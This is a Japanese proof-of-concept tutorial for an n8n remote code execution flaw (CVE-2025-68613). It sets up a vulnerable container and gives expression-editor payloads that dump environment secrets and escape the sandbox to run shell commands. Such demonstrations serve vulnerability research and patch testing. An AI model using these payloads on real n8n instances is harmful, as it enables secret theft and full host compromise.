
CVE-2025-68613 の PoC
教育目的のみ この PoC は、n8n における重大な脆弱性 (CVE-2025-68613) を実証します。所有していないシステム、または明示的なテスト許可を得ていないシステムでは使用しないでください。
1.122.0 より前の n8n には、リモートコード実行 (RCE) の脆弱性が存在します。認証済みユーザーは、ワークフローの式エディターで特定の JavaScript ペイロードを使用することにより、式サンドボックスをバイパスして、ホストシステム上で任意のコードを実行できます。
データボリュームを作成し、脆弱性のあるバージョンの n8n (例: v1.120.0) を実行します。
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
http://localhost:5678 にアクセスし、必要に応じて初期セットアップを完了します。

"Add Workflow" をクリックして、空のワークフローを開始します。

ワークフローに Set ノードを追加します。このノードを使用すると、式として評価できる値を定義できます。

Set ノードで、パラメーター (例: value) を変更し、入力タイプを Expression に変更します。

脆弱性を実証するには、次のペイロードを式エディターに入力します。
このペイロードは this.process.env にアクセスして、コンテナから機密性の高い環境変数を漏えいさせます。
ペイロード:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
結果:

このペイロードは、process.mainModule.require にアクセスして child_process モジュールをロードすることでサンドボックスをバイパスし、任意のシステムコマンドを実行できるようにします。
ペイロード:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

結果: 実行中のプロセスのユーザーコンテキストを確認します。
ファイルシステムを閲覧できることを実証します。
ペイロード:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
結果:
